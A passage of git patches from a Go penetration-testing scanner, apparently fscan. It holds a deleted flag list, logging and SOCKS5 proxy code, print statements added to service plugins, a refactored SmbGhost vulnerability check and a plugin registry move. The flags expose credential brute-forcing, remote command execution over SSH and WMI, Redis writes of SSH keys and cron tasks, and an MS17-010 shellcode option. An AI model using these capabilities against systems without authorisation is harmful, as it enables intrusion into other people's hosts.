user") - flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") - flag.StringVar(&Username, "user", "", "用户名") - flag.StringVar(&Password, "pwd", "", "密码") - flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") - flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)") - - // 扫描配置 - flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh") - flag.IntVar(&Threads, "t", 600, "线程数量") - flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") - flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") - flag.BoolVar(&NoPing, "np", false, "禁用存活探测") - flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP") - flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") - - // 文件配置 - flag.StringVar(&HostFile, "hf", "", "主机列表文件") - flag.StringVar(&Userfile, "userf", "", "用户名字典") - flag.StringVar(&Passfile, "pwdf", "", "密码字典") - flag.StringVar(&Hashfile, "hashf", "", "Hash字典") - flag.StringVar(&PortFile, "portf", "", "端口列表文件") - - // Web配置 - flag.StringVar(&URL, "u", "", "目标URL") - flag.StringVar(&UrlFile, "uf", "", "URL列表文件") - flag.StringVar(&Cookie, "cookie", "", "设置Cookie") - flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") - flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理") - flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") - - // POC配置 - flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") - flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") - flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描") - flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") - flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") - flag.IntVar(&PocNum, "num", 20, "POC并发数") - - // Redis利用配置 - flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") - flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") - flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测") - - // 暴力破解配置 - flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破") - flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数") - - // 其他配置 - flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径") - flag.StringVar(&Hash, "hash", "", "Hash值") - flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode") - flag.BoolVar(&IsWmi, "wmi", false, "启用WMI") - - // 输出配置 - flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") - flag.BoolVar(&TmpSave, "no", false, "禁用结果保存") - flag.BoolVar(&Silent, "silent", false, "静默扫描模式") - flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") - flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") - flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔") - - flag.Parse() -} diff --git a/common/log.go b/common/log.go deleted file mode 100644 index 5669298..0000000 --- a/common/log.go +++ /dev/null @@ -1,172 +0,0 @@ -package Common - -import ( - "encoding/json" - "fmt" - "github.com/fatih/color" - "io" - "log" - "os" - "strings" - "sync" - "time" -) - -// 记录扫描状态的全局变量 -var ( - Num int64 // 总任务数 - End int64 // 已完成数 - Results = make(chan *string) // 结果通道 - LogSucTime int64 // 最近成功日志时间 - LogErrTime int64 // 最近错误日志时间 - WaitTime int64 // 等待时间 - Silent bool // 静默模式 - Nocolor bool // 禁用颜色 - JsonOutput bool // JSON输出 - LogWG sync.WaitGroup // 日志同步等待组 -) - -// JsonText JSON输出的结构体 -type JsonText struct { - Type string `json:"type"` // 消息类型 - Text string `json:"text"` // 消息内容 -} - -// init 初始化日志配置 -func init() { - log.SetOutput(io.Discard) - LogSucTime = time.Now().Unix() - go SaveLog() -} - -// LogSuccess 记录成功信息 -func LogSuccess(result string) { - LogWG.Add(1) - LogSucTime = time.Now().Unix() - Results <- &result -} - -// SaveLog 保存日志信息 -func SaveLog() { - for result := range Results { - // 打印日志 - if !Silent { - if Nocolor { - fmt.Println(*result) - } else { - switch { - case strings.HasPrefix(*result, "[+] 信息扫描"): - color.Green(*result) - case strings.HasPrefix(*result, "[+]"): - color.Red(*result) - default: - fmt.Println(*result) - } - } - } - - // 保存到文件 - if IsSave { - WriteFile(*result, Outputfile) - } - LogWG.Done() - } -} - -// WriteFile 写入文件 -func WriteFile(result string, filename string) { - // 打开文件 - fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) - if err != nil { - fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) - return - } - defer fl.Close() - - if JsonOutput { - // 解析JSON格式 - var scantype, text string - if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { - index := strings.Index(result[4:], " ") - if index == -1 { - scantype = "msg" - text = result[4:] - } else { - scantype = result[4 : 4+index] - text = result[4+index+1:] - } - } else { - scantype = "msg" - text = result - } - - // 构造JSON对象 - jsonText := JsonText{ - Type: scantype, - Text: text, - } - - // 序列化JSON - jsonData, err := json.Marshal(jsonText) - if err != nil { - fmt.Printf("[!] JSON序列化失败: %v\n", err) - jsonText = JsonText{ - Type: "msg", - Text: result, - } - jsonData, _ = json.Marshal(jsonText) - } - jsonData = append(jsonData, []byte(",\n")...) - _, err = fl.Write(jsonData) - } else { - _, err = fl.Write([]byte(result + "\n")) - } - - if err != nil { - fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err) - } -} - -// LogError 记录错误信息 -func LogError(errinfo interface{}) { - if WaitTime == 0 { - fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) - } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) - LogErrTime = time.Now().Unix() - } -} - -// CheckErrs 检查是否为已知错误 -func CheckErrs(err error) bool { - if err == nil { - return false - } - - // 已知错误列表 - errs := []string{ - "远程主机关闭连接", - "连接数过多", - "连接超时", - "EOF", - "连接尝试失败", - "建立连接失败", - "无法连接", - "无法读取数据", - "不允许连接", - "无pg_hba.conf配置项", - "无法建立连接", - "无效的数据包大小", - "连接异常", - } - - // 检查错误是否匹配 - errLower := strings.ToLower(err.Error()) - for _, key := range errs { - if strings.Contains(errLower, strings.ToLower(key)) { - return true - } - } - - return false -} diff --git a/common/proxy.go b/common/proxy.go deleted file mode 100644 index f8af40e..0000000 --- a/common/proxy.go +++ /dev/null @@ -1,78 +0,0 @@ -package Common - -import ( - "errors" - "fmt" - "golang.org/x/net/proxy" - "net" - "net/url" - "strings" - "time" -) - -// WrapperTcpWithTimeout 创建一个带超时的TCP连接 -func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { - d := &net.Dialer{Timeout: timeout} - return WrapperTCP(network, address, d) -} - -// WrapperTCP 根据配置创建TCP连接 -func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { - // 直连模式 - if Socks5Proxy == "" { - conn, err := forward.Dial(network, address) - if err != nil { - return nil, fmt.Errorf("建立TCP连接失败: %v", err) - } - return conn, nil - } - - // Socks5代理模式 - dialer, err := Socks5Dialer(forward) - if err != nil { - return nil, fmt.Errorf("创建Socks5代理失败: %v", err) - } - - conn, err := dialer.Dial(network, address) - if err != nil { - return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err) - } - - return conn, nil -} - -// Socks5Dialer 创建Socks5代理拨号器 -func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) { - // 解析代理URL - u, err := url.Parse(Socks5Proxy) - if err != nil { - return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err) - } - - // 验证代理类型 - if strings.ToLower(u.Scheme) != "socks5" { - return nil, errors.New("仅支持socks5代理") - } - - address := u.Host - var dialer proxy.Dialer - - // 根据认证信息创建代理 - if u.User.String() != "" { - // 使用用户名密码认证 - auth := proxy.Auth{ - User: u.User.Username(), - } - auth.Password, _ = u.User.Password() - dialer, err = proxy.SOCKS5("tcp", address, &auth, forward) - } else { - // 无认证模式 - dialer, err = proxy.SOCKS5("tcp", address, nil, forward) - } - - if err != nil { - return nil, fmt.Errorf("创建Socks5代理失败: %v", err) - } - - return dialer, nil -} From dfc84e98134b47d94f7d2a2b99c7682fbdc57f9c Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 15:13:38 +0800 Subject: [PATCH 45/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96=E6=8F=92?= =?UTF-8?q?=E4=BB=B6=E6=89=93=E5=8D=B0=E4=BF=A1=E6=81=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FTP.go | 2 ++ Plugins/FcgiScan.go | 2 ++ Plugins/FindNet.go | 3 +++ Plugins/LocalInfo.go | 2 ++ Plugins/MS17010.go | 2 ++ Plugins/MSSQL.go | 2 ++ Plugins/Memcached.go | 2 ++ Plugins/Mongodb.go | 2 ++ Plugins/MySQL.go | 2 ++ Plugins/NetBIOS.go | 2 ++ Plugins/Oracle.go | 2 ++ Plugins/Postgres.go | 2 ++ Plugins/RDP.go | 2 ++ Plugins/Redis.go | 2 ++ Plugins/SMB.go | 2 ++ Plugins/SMB2.go | 4 ++++ Plugins/SSH.go | 2 ++ Plugins/WMIExec.go | 2 ++ Plugins/WebTitle.go | 2 ++ Plugins/fcgiscan.go | 2 ++ 20 files changed, 43 insertions(+) diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 8758a5d..905a7e9 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -15,6 +15,7 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] FTP扫描模块开始...") starttime := time.Now().Unix() @@ -56,6 +57,7 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] FTP扫描模块结束...") // 添加结束打印 return tmperr } diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go index ba7b696..28b0e85 100644 --- a/Plugins/FcgiScan.go +++ b/Plugins/FcgiScan.go @@ -25,6 +25,7 @@ func FcgiScan(info *Config.HostInfo) error { if Common.IsBrute { return nil } + fmt.Println("[+] Fcgi扫描模块开始...") // 设置目标URL路径 url := "/etc/issue" @@ -112,6 +113,7 @@ func FcgiScan(info *Config.HostInfo) error { Common.LogSuccess(result) } + fmt.Println("[+] Fcgi扫描模块结束...") return nil } diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index b395f12..1743bb6 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -20,6 +20,7 @@ var ( // Findnet 探测Windows网络主机信息的入口函数 func Findnet(info *Config.HostInfo) error { + fmt.Println("[+] FindNet扫描模块开始...") return FindnetScan(info) } @@ -72,10 +73,12 @@ func FindnetScan(info *Config.HostInfo) error { } if !found { + fmt.Println("[+] FindNet扫描模块结束...") return fmt.Errorf("[-] 未找到有效的响应标记") } // 解析主机信息 + fmt.Println("[+] FindNet扫描模块结束...") return read(text, info.Host) } diff --git a/Plugins/LocalInfo.go b/Plugins/LocalInfo.go index eafb305..285dab1 100644 --- a/Plugins/LocalInfo.go +++ b/Plugins/LocalInfo.go @@ -90,6 +90,7 @@ var ( ) func LocalInfoScan(info *Config.HostInfo) (err error) { + fmt.Println("[+] LocalInfo扫描模块开始...") home, err := os.UserHomeDir() if err != nil { errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) @@ -103,6 +104,7 @@ func LocalInfoScan(info *Config.HostInfo) (err error) { // 规则搜索 searchSensitiveFiles() + fmt.Println("[+] LocalInfo扫描模块结束...") return nil } diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index 226b95e..8c9713b 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -88,12 +88,14 @@ func MS17010(info *Config.HostInfo) error { if Common.IsBrute { return nil } + fmt.Println("[+] MS17010扫描模块开始...") // 执行MS17-010漏洞扫描 err := MS17010Scan(info) if err != nil { Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) } + fmt.Println("[+] MS17010扫描模块结束...") return err } diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index 91bad28..0aa4f00 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -15,6 +15,7 @@ func MssqlScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Mssql扫描模块开始...") starttime := time.Now().Unix() @@ -44,6 +45,7 @@ func MssqlScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Mssql扫描模块结束...") return tmperr } diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index 1acdaa7..ba285ba 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -10,6 +10,7 @@ import ( // MemcachedScan 检测Memcached未授权访问 func MemcachedScan(info *Config.HostInfo) error { + fmt.Println("[+] Memcached扫描模块开始...") realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) timeout := time.Duration(Common.Timeout) * time.Second @@ -45,5 +46,6 @@ func MemcachedScan(info *Config.HostInfo) error { Common.LogSuccess(result) } + fmt.Println("[+] Memcached扫描模块结束...") return nil } diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index 25822b7..cc1e378 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -13,12 +13,14 @@ func MongodbScan(info *Config.HostInfo) error { if Common.IsBrute { return nil } + fmt.Println("[+] Mongodb扫描模块开始...") _, err := MongodbUnauth(info) if err != nil { errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) } + fmt.Println("[+] Mongodb扫描模块结束...") return err } diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index fe07486..4703045 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -15,6 +15,7 @@ func MysqlScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Mysql扫描模块开始...") starttime := time.Now().Unix() @@ -44,6 +45,7 @@ func MysqlScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Mysql扫描模块结束...") return tmperr } diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index e2fa349..e96d827 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -16,6 +16,7 @@ import ( var errNetBIOS = errors.New("netbios error") func NetBIOS(info *Config.HostInfo) error { + fmt.Println("[+] NetBIOS扫描模块开始...") netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { @@ -23,6 +24,7 @@ func NetBIOS(info *Config.HostInfo) error { Common.LogSuccess(result) return nil } + fmt.Println("[+] NetBIOS扫描模块结束...") return errNetBIOS } diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index 8a4cf7f..b628fa1 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -15,6 +15,7 @@ func OracleScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Oracle扫描模块开始...") starttime := time.Now().Unix() @@ -44,6 +45,7 @@ func OracleScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Oracle扫描模块结束...") return tmperr } diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index 96081ca..12058c5 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -15,6 +15,7 @@ func PostgresScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Postgre扫描模块开始...") starttime := time.Now().Unix() @@ -44,6 +45,7 @@ func PostgresScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Postgre扫描模块结束...") return tmperr } diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 2bf9025..4fe1812 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -34,6 +34,7 @@ func RdpScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Rdp扫描模块开始...") var ( wg sync.WaitGroup @@ -70,6 +71,7 @@ func RdpScan(info *Config.HostInfo) (tmperr error) { for !signal { } + fmt.Println("[+] Rdp扫描模块结束...") return tmperr } diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 7b651b4..27d912a 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -19,6 +19,7 @@ var ( // RedisScan 执行Redis服务扫描 func RedisScan(info *Config.HostInfo) (tmperr error) { + fmt.Println("[+] Redis扫描模块开始...") starttime := time.Now().Unix() // 尝试无密码连接 @@ -54,6 +55,7 @@ func RedisScan(info *Config.HostInfo) (tmperr error) { return err } } + fmt.Println("[+] Redis扫描模块结束...") return tmperr } diff --git a/Plugins/SMB.go b/Plugins/SMB.go index 785861a..a7b115b 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -16,6 +16,7 @@ func SmbScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return nil } + fmt.Println("[+] Smb扫描模块开始...") startTime := time.Now().Unix() @@ -61,6 +62,7 @@ func SmbScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Smb扫描模块结束...") return tmperr } diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index 76b25fe..aca01be 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -14,10 +14,12 @@ import ( // SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 func SmbScan2(info *Config.HostInfo) (tmperr error) { + // 如果未启用暴力破解则直接返回 if Common.IsBrute { return nil } + fmt.Println("[+] Smb2扫描模块开始...") hasprint := false startTime := time.Now().Unix() @@ -56,6 +58,7 @@ func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { } } } + fmt.Println("[+] Smb2扫描模块结束...") return nil } @@ -85,6 +88,7 @@ func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) erro } } } + fmt.Println("[+] Smb2扫描模块结束...") return nil } diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 204ab52..37ef053 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -16,6 +16,7 @@ func SshScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] SSH扫描模块开始...") startTime := time.Now().Unix() @@ -53,6 +54,7 @@ func SshScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] SSH扫描模块结束...") return tmperr } diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index ad58839..cb31323 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -38,6 +38,7 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return nil } + fmt.Println("[+] WmiExec扫描模块开始...") starttime := time.Now().Unix() @@ -92,6 +93,7 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] WmiExec扫描模块结束...") return tmperr } diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 53201dd..9e8d4f5 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -26,6 +26,7 @@ func WebTitle(info *Config.HostInfo) error { WebScan.WebScan(info) return nil } + fmt.Println("[+] WebTitle扫描模块开始...") // 获取网站标题信息 err, CheckData := GOWebTitle(info) @@ -46,6 +47,7 @@ func WebTitle(info *Config.HostInfo) error { Common.LogError(errlog) } + fmt.Println("[+] WebTitle扫描模块结束...") return err } diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index ba7b696..28b0e85 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -25,6 +25,7 @@ func FcgiScan(info *Config.HostInfo) error { if Common.IsBrute { return nil } + fmt.Println("[+] Fcgi扫描模块开始...") // 设置目标URL路径 url := "/etc/issue" @@ -112,6 +113,7 @@ func FcgiScan(info *Config.HostInfo) error { Common.LogSuccess(result) } + fmt.Println("[+] Fcgi扫描模块结束...") return nil } From fc94e4ee0d28f38e795aaacab8bb920b3b5c1a1f Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 15:14:54 +0800 Subject: [PATCH 46/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96SmbGhost.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/{CVE-2020-0796.go => SmbGhost.go} | 49 +++++++++++++++++++---- 1 file changed, 42 insertions(+), 7 deletions(-) rename Plugins/{CVE-2020-0796.go => SmbGhost.go} (67%) diff --git a/Plugins/CVE-2020-0796.go b/Plugins/SmbGhost.go similarity index 67% rename from Plugins/CVE-2020-0796.go rename to Plugins/SmbGhost.go index c07331c..ccc6603 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/SmbGhost.go @@ -95,35 +95,70 @@ const ( "\x00\x00\x00\x00" ) +// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数 func SmbGhost(info *Config.HostInfo) error { + // 如果开启了暴力破解模式,跳过该检测 if Common.IsBrute { return nil } + + fmt.Println("[+] SmbGhost扫描模块开始...") + // 执行实际的SMB Ghost漏洞扫描 err := SmbGhostScan(info) + fmt.Println("[+] SmbGhost扫描模块结束...") return err } +// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑 func SmbGhostScan(info *Config.HostInfo) error { - ip, port, timeout := info.Host, 445, time.Duration(Common.Timeout)*time.Second - addr := fmt.Sprintf("%s:%v", info.Host, port) + // 设置扫描参数 + ip := info.Host + port := 445 // SMB服务默认端口 + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造目标地址 + addr := fmt.Sprintf("%s:%v", ip, port) + + // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout) if err != nil { return err } - defer conn.Close() - _, err = conn.Write([]byte(pkt)) - if err != nil { + defer conn.Close() // 确保连接最终被关闭 + + // 发送SMB协议探测数据包 + if _, err = conn.Write([]byte(pkt)); err != nil { return err } + + // 准备接收响应 buff := make([]byte, 1024) - err = conn.SetReadDeadline(time.Now().Add(timeout)) + + // 设置读取超时 + if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil { + return err + } + + // 读取响应数据 n, err := conn.Read(buff) if err != nil || n == 0 { return err } - if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { + + // 分析响应数据,检测是否存在漏洞 + // 检查条件: + // 1. 响应包含"Public"字符串 + // 2. 响应长度大于等于76字节 + // 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00) + if bytes.Contains(buff[:n], []byte("Public")) && + len(buff[:n]) >= 76 && + bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && + bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { + + // 发现漏洞,记录结果 result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) Common.LogSuccess(result) } + return err } From b857dd4fa72f94fed53ef00c3ae45cfeff1abf77 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 15:24:10 +0800 Subject: [PATCH 47/80] =?UTF-8?q?refacor:=20=E7=BB=93=E6=9E=84=E5=8C=96?= =?UTF-8?q?=E6=9B=B4=E6=94=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- {Plugins => Core}/ICMP.go | 2 +- {Plugins => Core}/PortScan.go | 2 +- {Plugins => Core}/Registry.go | 47 +++++++++++++++++++---------------- {Plugins => Core}/Scanner.go | 2 +- main.go | 4 +-- 5 files changed, 30 insertions(+), 27 deletions(-) rename {Plugins => Core}/ICMP.go (99%) rename {Plugins => Core}/PortScan.go (99%) rename {Plugins => Core}/Registry.go (73%) rename {Plugins => Core}/Scanner.go (99%) diff --git a/Plugins/ICMP.go b/Core/ICMP.go similarity index 99% rename from Plugins/ICMP.go rename to Core/ICMP.go index 4648e5b..f70a895 100644 --- a/Plugins/ICMP.go +++ b/Core/ICMP.go @@ -1,4 +1,4 @@ -package Plugins +package Core import ( "bytes" diff --git a/Plugins/PortScan.go b/Core/PortScan.go similarity index 99% rename from Plugins/PortScan.go rename to Core/PortScan.go index a55c9be..47cb659 100644 --- a/Plugins/PortScan.go +++ b/Core/PortScan.go @@ -1,4 +1,4 @@ -package Plugins +package Core import ( "fmt" diff --git a/Plugins/Registry.go b/Core/Registry.go similarity index 73% rename from Plugins/Registry.go rename to Core/Registry.go index d23d061..cae17c8 100644 --- a/Plugins/Registry.go +++ b/Core/Registry.go @@ -1,127 +1,130 @@ -package Plugins +package Core -import "github.com/shadow1ng/fscan/Config" +import ( + "github.com/shadow1ng/fscan/Config" + "github.com/shadow1ng/fscan/Plugins" +) func init() { // 注册标准端口服务扫描 Config.RegisterPlugin("ftp", Config.ScanPlugin{ Name: "FTP", Port: 21, - ScanFunc: FtpScan, + ScanFunc: Plugins.FtpScan, }) Config.RegisterPlugin("ssh", Config.ScanPlugin{ Name: "SSH", Port: 22, - ScanFunc: SshScan, + ScanFunc: Plugins.SshScan, }) Config.RegisterPlugin("findnet", Config.ScanPlugin{ Name: "FindNet", Port: 135, - ScanFunc: Findnet, + ScanFunc: Plugins.Findnet, }) Config.RegisterPlugin("netbios", Config.ScanPlugin{ Name: "NetBIOS", Port: 139, - ScanFunc: NetBIOS, + ScanFunc: Plugins.NetBIOS, }) Config.RegisterPlugin("smb", Config.ScanPlugin{ Name: "SMB", Port: 445, - ScanFunc: SmbScan, + ScanFunc: Plugins.SmbScan, }) Config.RegisterPlugin("mssql", Config.ScanPlugin{ Name: "MSSQL", Port: 1433, - ScanFunc: MssqlScan, + ScanFunc: Plugins.MssqlScan, }) Config.RegisterPlugin("oracle", Config.ScanPlugin{ Name: "Oracle", Port: 1521, - ScanFunc: OracleScan, + ScanFunc: Plugins.OracleScan, }) Config.RegisterPlugin("mysql", Config.ScanPlugin{ Name: "MySQL", Port: 3306, - ScanFunc: MysqlScan, + ScanFunc: Plugins.MysqlScan, }) Config.RegisterPlugin("rdp", Config.ScanPlugin{ Name: "RDP", Port: 3389, - ScanFunc: RdpScan, + ScanFunc: Plugins.RdpScan, }) Config.RegisterPlugin("postgres", Config.ScanPlugin{ Name: "PostgreSQL", Port: 5432, - ScanFunc: PostgresScan, + ScanFunc: Plugins.PostgresScan, }) Config.RegisterPlugin("redis", Config.ScanPlugin{ Name: "Redis", Port: 6379, - ScanFunc: RedisScan, + ScanFunc: Plugins.RedisScan, }) Config.RegisterPlugin("fcgi", Config.ScanPlugin{ Name: "FastCGI", Port: 9000, - ScanFunc: FcgiScan, + ScanFunc: Plugins.FcgiScan, }) Config.RegisterPlugin("memcached", Config.ScanPlugin{ Name: "Memcached", Port: 11211, - ScanFunc: MemcachedScan, + ScanFunc: Plugins.MemcachedScan, }) Config.RegisterPlugin("mongodb", Config.ScanPlugin{ Name: "MongoDB", Port: 27017, - ScanFunc: MongodbScan, + ScanFunc: Plugins.MongodbScan, }) // 注册特殊扫描类型 Config.RegisterPlugin("ms17010", Config.ScanPlugin{ Name: "MS17010", Port: 445, - ScanFunc: MS17010, + ScanFunc: Plugins.MS17010, }) Config.RegisterPlugin("smbghost", Config.ScanPlugin{ Name: "SMBGhost", Port: 445, - ScanFunc: SmbGhost, + ScanFunc: Plugins.SmbGhost, }) Config.RegisterPlugin("web", Config.ScanPlugin{ Name: "WebTitle", Port: 0, - ScanFunc: WebTitle, + ScanFunc: Plugins.WebTitle, }) Config.RegisterPlugin("smb2", Config.ScanPlugin{ Name: "SMBScan2", Port: 445, - ScanFunc: SmbScan2, + ScanFunc: Plugins.SmbScan2, }) Config.RegisterPlugin("wmiexec", Config.ScanPlugin{ Name: "WMIExec", Port: 135, - ScanFunc: WmiExec, + ScanFunc: Plugins.WmiExec, }) Config.RegisterPlugin("localinfo", Config.ScanPlugin{ Name: "LocalInfo", Port: 0, - ScanFunc: LocalInfoScan, + ScanFunc: Plugins.LocalInfoScan, }) } diff --git a/Plugins/Scanner.go b/Core/Scanner.go similarity index 99% rename from Plugins/Scanner.go rename to Core/Scanner.go index 385640d..9f97564 100644 --- a/Plugins/Scanner.go +++ b/Core/Scanner.go @@ -1,4 +1,4 @@ -package Plugins +package Core import ( "fmt" diff --git a/main.go b/main.go index b4bc409..5d95fbb 100644 --- a/main.go +++ b/main.go @@ -4,7 +4,7 @@ import ( "fmt" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/Plugins" + "github.com/shadow1ng/fscan/Core" "time" ) @@ -13,6 +13,6 @@ func main() { var Info Config.HostInfo Common.Flag(&Info) Common.Parse(&Info) - Plugins.Scan(Info) + Core.Scan(Info) fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start)) } From b14510fa52d36c347c6571732cd8e6a0ea610a5e Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 